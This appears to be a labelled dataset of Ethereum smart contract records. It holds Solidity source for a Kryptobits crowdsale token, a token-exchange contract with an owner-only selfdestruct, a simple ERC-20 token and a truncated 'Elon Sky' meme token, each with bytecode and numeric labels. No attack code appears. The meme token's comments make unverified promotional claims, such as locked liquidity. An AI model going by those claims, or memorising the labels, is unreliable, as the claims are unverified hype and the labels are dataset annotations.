crowdsale, * it can only be called by a corresponding exposed API in the crowdsale contract in case of input error. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to have a normal wallet address to act as a release agent. releaseAgent = addr; } /** * Owner can allow a particular address (e.g. a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** * One way function to release the tokens into the wild. * * Can be called only from the release agent that should typically be the finalize agent ICO contract. * In the scope of the crowdsale, it is only called if the crowdsale has been a success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** * Limit token transfer until the crowdsale is over. */ modifier canTransfer(address sender) { require(released || transferAgents[sender]); _; } /** The function can be called only before or after the tokens have been released */ modifier inReleaseState(bool releaseState) { require(releaseState == released); _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { require(msg.sender == releaseAgent); _; } /** We restrict transfer by overriding it */ function transfer(address to, uint value) public canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(to, value); } /** We restrict transferFrom by overriding it */ function transferFrom(address from, address to, uint value) public canTransfer(from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(from, to, value); } } pragma solidity ^0.4.24; /** * First envisioned by Golem and Lunyr projects. * Originally from https://github.com/TokenMarketNet/ico * Modified by https://www.coinfabrik.com/ */ pragma solidity ^0.4.24; /** * Inspired by Lunyr. * Originally from https://github.com/TokenMarketNet/ico */ /** * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. * * The Upgrade agent is the interface used to implement a token * migration in the case of an emergency. * The function upgradeFrom has to implement the part of the creation * of new tokens on behalf of the user doing the upgrade. * * The new token can implement this interface directly, or use. */ contract UpgradeAgent { /** This value should be the same as the original token's total supply */ uint public originalSupply; /** Interface to ensure the contract is correctly configured */ function isUpgradeAgent() public pure returns (bool) { return true; } /** Upgrade an account When the token contract is in the upgrade status the each user will have to call `upgrade(value)` function from UpgradeableToken. The upgrade function adjust the balance of the user and the supply of the previous token and then call `upgradeFrom(value)`. The UpgradeAgent is the responsible to create the tokens for the user in the new contract. * @param from Account to upgrade. * @param value Tokens to upgrade. */ function upgradeFrom(address from, uint value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * */ contract UpgradeableToken is EIP20Token, Burnable { using SafeMath for uint; /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint public totalUpgraded = 0; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can begin * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet. This allows changing the upgrade agent while there is time. * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed from, address to, uint value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ constructor(address master) internal { setUpgradeMaster(master); } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint value) public { UpgradeState state = getUpgradeState(); // Ensure it's not called in a bad state require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading); // Validate input value. require(value != 0); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); // Take tokens out from circulation burnTokens(msg.sender, value); totalUpgraded = totalUpgraded.add(value); emit Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles the upgrade process */ function setUpgradeAgent(address agent) onlyMaster external { // Check whether the token is in a state that we could think of upgrading require(canUpgrade()); require(agent != 0x0); // Upgrade has already begun for an agent require(getUpgradeState() != UpgradeState.Upgrading); upgradeAgent = UpgradeAgent(agent); // Bad interface require(upgradeAgent.isUpgradeAgent()); // Make sure that token supplies match in source and target require(upgradeAgent.originalSupply() == totalSupply()); emit UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public view returns(UpgradeState) { if (!canUpgrade()) return UpgradeState.NotAllowed; else if (address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if (totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function changeUpgradeMaster(address new_master) onlyMaster public { setUpgradeMaster(new_master); } /** * Internal upgrade master setter. */ function setUpgradeMaster(address new_master) private { require(new_master != 0x0); upgradeMaster = new_master; } /** * Child contract can override to provide the condition in which the upgrade can begin. */ function canUpgrade() public view returns(bool) { return true; } modifier onlyMaster() { require(msg.sender == upgradeMaster); _; } } pragma solidity ^0.4.24; /** * Authored by https://www.coinfabrik.com/ */ // This contract aims to provide an inheritable way to recover tokens from a contract not meant to hold tokens // To use this contract, have your token-ignoring contract inherit this one and implement getLostAndFoundMaster to decide who can move lost tokens. // Of course, this contract imposes support costs upon whoever is the lost and found master. contract LostAndFoundToken { /** * @return Address of the account that handles movements. */ function getLostAndFoundMaster() internal view returns (address); /** * @param agent Address that will be able to move tokens with transferFrom * @param tokens Amount of tokens approved for transfer * @param token_contract Contract of the token */ function enableLostAndFound(address agent, uint tokens, EIP20Token token_contract) public { require(msg.sender == getLostAndFoundMaster()); // We use approve instead of transfer to minimize the possibility of the lost and found master // getting them stuck in another address by accident. token_contract.approve(agent, tokens); } } pragma solidity ^0.4.24; /** * Originally from https://github.com/TokenMarketNet/ico * Modified by https://www.coinfabrik.com/ */ /** * A public interface to increase the supply of a token. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, usually contracts whitelisted by the owner, can mint new tokens. * */ contract MintableToken is Mintable, Ownable { using SafeMath for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); constructor(uint initialSupply, address multisig, bool mintable) internal { require(multisig != address(0)); // Cannot create a token without supply and no minting require(mintable || initialSupply != 0); // Create initially all balance on the team multisig if (initialSupply > 0) mintInternal(multisig, initialSupply); // No more new supply allowed after the token creation mintingFinished = !mintable; } /** * Create new tokens and allocate them to an address. * * Only callable by a mint agent (e.g. crowdsale contract). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { mintInternal(receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; emit MintingAgentChanged(addr, state); } modifier onlyMintAgent() { // Only mint agents are allowed to mint new tokens require(mintAgents[msg.sender]); _; } /** Make sure we are not done yet. */ modifier canMint() { require(!mintingFinished); _; } } /** * A crowdsale token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through the approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * - ERC20 tokens transferred to this contract can be recovered by a lost and found master * */ contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken, LostAndFoundToken { string public name = "Kryptobits"; string public symbol = "KBE"; uint8 public decimals; address public lost_and_found_master; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param initial_supply How many tokens we start with. * @param token_decimals Number of decimal places. * @param team_multisig Address of the multisig that receives the initial supply and is set as the upgrade master. * @param token_retriever Address of the account that handles ERC20 tokens that were accidentally sent to this contract. */ constructor(uint initial_supply, uint8 token_decimals, address team_multisig, address token_retriever) public UpgradeableToken(team_multisig) MintableToken(initial_supply, team_multisig, true) { require(token_retriever != address(0)); decimals = token_decimals; lost_and_found_master = token_retriever; } /** * When token is released to be transferable, prohibit new token creation. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality to kick in only if the crowdsale was a success. */ function canUpgrade() public view returns(bool) { return released && super.canUpgrade(); } function burn(uint value) public { burnTokens(msg.sender, value); } function getLostAndFoundMaster() internal view returns(address) { return lost_and_found_master; } }
0x6080604052600436106101925763ffffffff60e060020a60003504166302f652a3811461019757806305d2035b146101bf57806306fdde03146101e8578063095ea7b31461027257806318160ddd1461029657806323b872dd146102bd57806329ff4f53146102e7578063313ce5671461030857806340c10f191461033357806342966c681461035757806342c1867b1461036f578063432146751461039057806345977d03146103b65780634a52e506146103ce5780635de4ccb0146103f95780635f412d4f1461042a578063600440cb1461043f57806370a08231146104545780638444b39114610475578063867c2857146104ae5780638da5cb5b146104cf57806395d89b41146104e457806396132521146104f95780639738968c1461050e578063a64278ce14610523578063a9059cbb14610538578063ac3cb72c1461055c578063c752ff6214610580578063d1f276d314610595578063d7e7088a146105aa578063dd62ed3e146105cb578063e2301d02146105f2578063ea56a44d14610616578063f2fde38b14610637575b600080fd5b3480156101a357600080fd5b506101bd600160a060020a03600435166024351515610658565b005b3480156101cb57600080fd5b506101d46106b5565b604080519115158252519081900360200190f35b3480156101f457600080fd5b506101fd6106be565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023757818101518382015260200161021f565b50505050905090810190601f1680156102645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027e57600080fd5b506101d4600160a060020a036004351660243561074c565b3480156102a257600080fd5b506102ab6107dc565b60408051918252519081900360200190f35b3480156102c957600080fd5b506101d4600160a060020a03600435811690602435166044356107e3565b3480156102f357600080fd5b506101bd600160a060020a0360043516610837565b34801561031457600080fd5b5061031d61088b565b6040805160ff9092168252519081900360200190f35b34801561033f57600080fd5b506101bd600160a060020a0360043516602435610894565b34801561036357600080fd5b506101bd6004356108d0565b34801561037b57600080fd5b506101d4600160a060020a03600435166108dd565b34801561039c57600080fd5b506101bd600160a060020a036004351660243515156108f2565b3480156103c257600080fd5b506101bd60043561097d565b3480156103da57600080fd5b506101bd600160a060020a036004358116906024359060443516610a9f565b34801561040557600080fd5b5061040e610b4f565b60408051600160a060020a039092168252519081900360200190f35b34801561043657600080fd5b506101bd610b5e565b34801561044b57600080fd5b5061040e610b8c565b34801561046057600080fd5b506102ab600160a060020a0360043516610b9b565b34801561048157600080fd5b5061048a610bb6565b6040518082600481111561049a57fe5b60ff16815260200191505060405180910390f35b3480156104ba57600080fd5b506101d4600160a060020a0360043516610c01565b3480156104db57600080fd5b5061040e610c16565b3480156104f057600080fd5b506101fd610c25565b34801561050557600080fd5b506101d4610c80565b34801561051a57600080fd5b506101d4610c90565b34801561052f57600080fd5b5061040e610cb4565b34801561054457600080fd5b506101d4600160a060020a0360043516602435610cc8565b34801561056857600080fd5b506101d4600160a060020a0360043516602435610d1a565b34801561058c57600080fd5b506102ab610da2565b3480156105a157600080fd5b5061040e610da8565b3480156105b657600080fd5b506101bd600160a060020a0360043516610db7565b3480156105d757600080fd5b506102ab600160a060020a0360043581169060243516610f81565b3480156105fe57600080fd5b506101d4600160a060020a0360043516602435610fac565b34801561062257600080fd5b506101bd600160a060020a0360043516611065565b34801561064357600080fd5b506101bd600160a060020a0360043516611085565b600354600160a060020a0316331461066f57600080fd5b60045460009060a060020a900460ff161561068957600080fd5b50600160a060020a03919091166000908152600560205260409020805460ff1916911515919091179055565b60065460ff1681565b600b805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107445780601f1061071957610100808354040283529160200191610744565b820191906000526020600020905b81548152906001019060200180831161072757829003601f168201915b505050505081565b600081158061077c5750336000908152600260209081526040808320600160a060020a0387168452909152902054155b151561078757600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293926000805160206114cc833981519152929181900390910190a350600192915050565b6000545b90565b600454600090849060a060020a900460ff16806108185750600160a060020a03811660009081526005602052604090205460ff165b151561082357600080fd5b61082e8585856110d3565b95945050505050565b600354600160a060020a0316331461084e57600080fd5b60045460009060a060020a900460ff161561086857600080fd5b5060048054600160a060020a031916600160a060020a0392909216919091179055565b600d5460ff1681565b3360009081526007602052604090205460ff1615156108b257600080fd5b60065460ff16156108c257600080fd5b6108cc82826111cd565b5050565b6108da3382611296565b50565b60076020526000908152604090205460ff1681565b600354600160a060020a0316331461090957600080fd5b60065460ff161561091957600080fd5b600160a060020a038216600081815260076020908152604091829020805460ff191685151590811790915582519384529083015280517f4b0adf6c802794c7dde28a08a4e07131abcff3bf9603cd71f14f90bec7865efa9281900390910190a15050565b6000610987610bb6565b9050600381600481111561099757fe5b14806109ae575060048160048111156109ac57fe5b145b15156109b957600080fd5b8115156109c557600080fd5b6009546040805160e060020a63753e88e5028152336004820152602481018590529051600160a060020a039092169163753e88e59160448082019260009290919082900301818387803b158015610a1b57600080fd5b505af1158015610a2f573d6000803e3d6000fd5b50505050610a3d3383611296565b600a54610a50908363ffffffff61136616565b600a5560095460408051600160a060020a03909216825260208201849052805133927f7e5c344a8141a805725cb476f76c6953b842222b967edd1f78ddb6e8b3f397ac92908290030190a25050565b610aa761137c565b600160a060020a03163314610abb57600080fd5b80600160a060020a031663095ea7b384846040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610b1e57600080fd5b505af1158015610b32573d6000803e3d6000fd5b505050506040513d6020811015610b4857600080fd5b5050505050565b600954600160a060020a031681565b600454600160a060020a03163314610b7557600080fd5b6006805460ff19166001179055610b8a611390565b565b600854600160a060020a031681565b600160a060020a031660009081526001602052604090205490565b6000610bc0610c90565b1515610bce575060016107e0565b600954600160a060020a03161515610be8575060026107e0565b600a541515610bf9575060036107e0565b5060046107e0565b60056020526000908152604090205460ff1681565b600354600160a060020a031681565b600c805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156107445780601f1061071957610100808354040283529160200191610744565b60045460a060020a900460ff1681565b60045460009060a060020a900460ff168015610caf5750610caf6113bf565b905090565b600d546101009004600160a060020a031681565b600454600090339060a060020a900460ff1680610cfd5750600160a060020a03811660009081526005602052604090205460ff165b1515610d0857600080fd5b610d1284846113c4565b949350505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610d4e818463ffffffff61136616565b336000818152600260209081526040808320600160a060020a038a168085529083529281902085905580519485525191936000805160206114cc833981519152929081900390910190a35060019392505050565b600a5481565b600454600160a060020a031681565b600854600160a060020a03163314610dce57600080fd5b610dd6610c90565b1515610de157600080fd5b600160a060020a0381161515610df657600080fd5b6004610e00610bb6565b6004811115610e0b57fe5b1415610e1657600080fd5b60098054600160a060020a031916600160a060020a0383811691909117918290556040805160e160020a6330e9ebd3028152905192909116916361d3d7a6916004808201926020929091908290030181600087803b158015610e7757600080fd5b505af1158015610e8b573d6000803e3d6000fd5b505050506040513d6020811015610ea157600080fd5b50511515610eae57600080fd5b610eb66107dc565b600960009054906101000a9004600160a060020a0316600160a060020a0316634b2ba0dd6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015610f0957600080fd5b505af1158015610f1d573d6000803e3d6000fd5b505050506040513d6020811015610f3357600080fd5b505114610f3f57600080fd5b60095460408051600160a060020a039092168252517f7845d5aa74cc410e35571258d954f23b82276e160fe8c188fa80566580f279cc9181900360200190a150565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561100157336000908152600260209081526040808320600160a060020a0388168452909152812055611011565b610d4e818463ffffffff61146216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293926000805160206114cc833981519152929181900390910190a35060019392505050565b600854600160a060020a0316331461107c57600080fd5b6108da81611474565b600354600160a060020a0316331461109c57600080fd5b600160a060020a03811615156110b157600080fd5b60038054600160a060020a031916600160a060020a0392909216919091179055565b600160a060020a03831660008181526002602090815260408083203384528252808320549383526001909152812054909190611115908463ffffffff61146216565b600160a060020a03808716600090815260016020526040808220939093559086168152205461114a908463ffffffff61136616565b600160a060020a038516600090815260016020526040902055611173818463ffffffff61146216565b600160a060020a03808716600081815260026020908152604080832033845282529182902094909455805187815290519288169391926000805160206114ac833981519152929181900390910190a3506001949350505050565b6000546111e0908263ffffffff61136616565b6000908155600160a060020a03831681526001602052604090205461120b908263ffffffff61136616565b600160a060020a03831660008181526001602090815260409182902093909355805191825291810183905281517f30385c845b448a36257a6a1716e6ad2e1bc2cbe333cde1e69fe849ad6511adfe929181900390910190a1604080518281529051600160a060020a038416916000916000805160206114ac8339815191529181900360200190a35050565b600160a060020a0382166000908152600160205260409020546112bf908263ffffffff61146216565b600160a060020a038316600090815260016020526040812091909155546112ec908263ffffffff61146216565b6000908155604080518381529051600160a060020a038516916000805160206114ac833981519152919081900360200190a360408051600160a060020a03841681526020810183905281517f696de425f79f4a40bc6d2122ca50507f0efbeabbff86a84871b7196ab8ea8df7929181900390910190a15050565b60008282018381101561137557fe5b9392505050565b600d546101009004600160a060020a031690565b600454600160a060020a031633146113a757600080fd5b6004805460a060020a60ff02191660a060020a179055565b600190565b336000908152600160205260408120546113e4908363ffffffff61146216565b3360009081526001602052604080822092909255600160a060020a03851681522054611416908363ffffffff61136616565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233926000805160206114ac8339815191529281900390910190a350600192915050565b60008282111561146e57fe5b50900390565b600160a060020a038116151561148957600080fd5b60088054600160a060020a031916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a72305820be8e8cb9ca93cc9ea65b9198637a7365596ef66a66e5499de43e8fddcdaf08ff0029
[ 7, 5 ]
0xf295Ddf5c31dDE2fb1f0b359261d368b09753A84
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.8.4; import "./utils/IERC20.sol"; contract TokenExchange { address private _owner; address private _newToken; IERC20 private _oldToken; address[] private _exchangeList; constructor (address buffToken, address oldToken, address[] memory exchangeList) { require(buffToken != address(0), "Zero address"); _owner = msg.sender; _newToken = buffToken; _oldToken = IERC20(oldToken); _exchangeList = exchangeList; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function exchangeOldToken() external onlyOwner returns (bool) { require(_exchangeList.length > 0, "ERR: no exchange list"); for(uint k = 0; k < _exchangeList.length; k++) { uint balances = _oldToken.balanceOf(_exchangeList[k]); if(balances > 0) { bool transferCheck = IERC20(_newToken).transferFrom(_newToken, _exchangeList[k], balances); require(transferCheck, "Official BuffDoge transfer failed"); } } return true; } function destroySmartContract(address payable _to) external onlyOwner { selfdestruct(_to); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x
[ 38 ]
0xf296244eca5329aedadcc6b9bd320c5c32b5ba80
// File: EIP20Interface.sol pragma solidity >=0.7.0 <0.9.0; contract EIP20Interface { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // File: BigFCoin.sol pragma solidity >=0.7.0 <0.9.0; contract BigFunGamingToken is EIP20Interface { uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name; uint8 public decimals; string public symbol; constructor( uint256 _initialAmount, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 currentAllowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && currentAllowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (currentAllowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063313ce56711610071578063313ce5671461017a5780635c6581651461019857806370a08231146101c857806395d89b41146101f8578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a57806327e235e31461014a575b600080fd5b6100b6610276565b6040516100c39190610b71565b60405180910390f35b6100e660048036038101906100e19190610ab0565b610304565b6040516100f39190610b56565b60405180910390f35b6101046103f6565b6040516101119190610b93565b60405180910390f35b610134600480360381019061012f9190610a5d565b6103fc565b6040516101419190610b56565b60405180910390f35b610164600480360381019061015f91906109f0565b6106af565b6040516101719190610b93565b60405180910390f35b6101826106c7565b60405161018f9190610bae565b60405180910390f35b6101b260048036038101906101ad9190610a1d565b6106da565b6040516101bf9190610b93565b60405180910390f35b6101e260048036038101906101dd91906109f0565b6106ff565b6040516101ef9190610b93565b60405180910390f35b610200610748565b60405161020d9190610b71565b60405180910390f35b610230600480360381019061022b9190610ab0565b6107d6565b60405161023d9190610b56565b60405180910390f35b610260600480360381019061025b9190610a1d565b61093f565b60405161026d9190610b93565b60405180910390f35b6003805461028390610cf7565b80601f01602080910402602001604051908101604052809291908181526020018280546102af90610cf7565b80156102fc5780601f106102d1576101008083540402835291602001916102fc565b820191906000526020600020905b8154815290600101906020018083116102df57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103e49190610b93565b60405180910390a36001905092915050565b60005481565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156104cd5750828110155b6104d657600080fd5b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105259190610be5565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461057b9190610c3b565b925050819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81101561063e5782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106369190610c3b565b925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161069b9190610b93565b60405180910390a360019150509392505050565b60016020528060005260406000206000915090505481565b600460009054906101000a900460ff1681565b6002602052816000526040600020602052806000526040600020600091509150505481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6005805461075590610cf7565b80601f016020809104026020016040519081016040528092919081815260200182805461078190610cf7565b80156107ce5780601f106107a3576101008083540402835291602001916107ce565b820191906000526020600020905b8154815290600101906020018083116107b157829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561082457600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108739190610c3b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108c99190610be5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161092d9190610b93565b60405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000813590506109d581610d9d565b92915050565b6000813590506109ea81610db4565b92915050565b600060208284031215610a0657610a05610d87565b5b6000610a14848285016109c6565b91505092915050565b60008060408385031215610a3457610a33610d87565b5b6000610a42858286016109c6565b9250506020610a53858286016109c6565b9150509250929050565b600080600060608486031215610a7657610a75610d87565b5b6000610a84868287016109c6565b9350506020610a95868287016109c6565b9250506040610aa6868287016109db565b9150509250925092565b60008060408385031215610ac757610ac6610d87565b5b6000610ad5858286016109c6565b9250506020610ae6858286016109db565b9150509250929050565b610af981610c81565b82525050565b6000610b0a82610bc9565b610b148185610bd4565b9350610b24818560208601610cc4565b610b2d81610d8c565b840191505092915050565b610b4181610cad565b82525050565b610b5081610cb7565b82525050565b6000602082019050610b6b6000830184610af0565b92915050565b60006020820190508181036000830152610b8b8184610aff565b905092915050565b6000602082019050610ba86000830184610b38565b92915050565b6000602082019050610bc36000830184610b47565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610bf082610cad565b9150610bfb83610cad565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610c3057610c2f610d29565b5b828201905092915050565b6000610c4682610cad565b9150610c5183610cad565b925082821015610c6457610c63610d29565b5b828203905092915050565b6000610c7a82610c8d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015610ce2578082015181840152602081019050610cc7565b83811115610cf1576000848401525b50505050565b60006002820490506001821680610d0f57607f821691505b60208210811415610d2357610d22610d58565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b610da681610c6f565b8114610db157600080fd5b50565b610dbd81610cad565b8114610dc857600080fd5b5056fea2646970667358221220a961942d37d5b0f996d984475ce25a95481cbb7cd490b123a24a7778b6011ce364736f6c63430008070033
[ 38 ]
0xf2975e674e48655cff76e1c60dcd30340df3dc3e
//Elon Sky ($ElonSky), is here to bring you to the sky, the land of financial freedom. //Stealth Launch. Fud will be banned. Website is in development. Msging lifted after liquidity is locked. //Bots: Restricted //Liqudity lOCKED //TG: https://t.me/ElonSkyToken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on 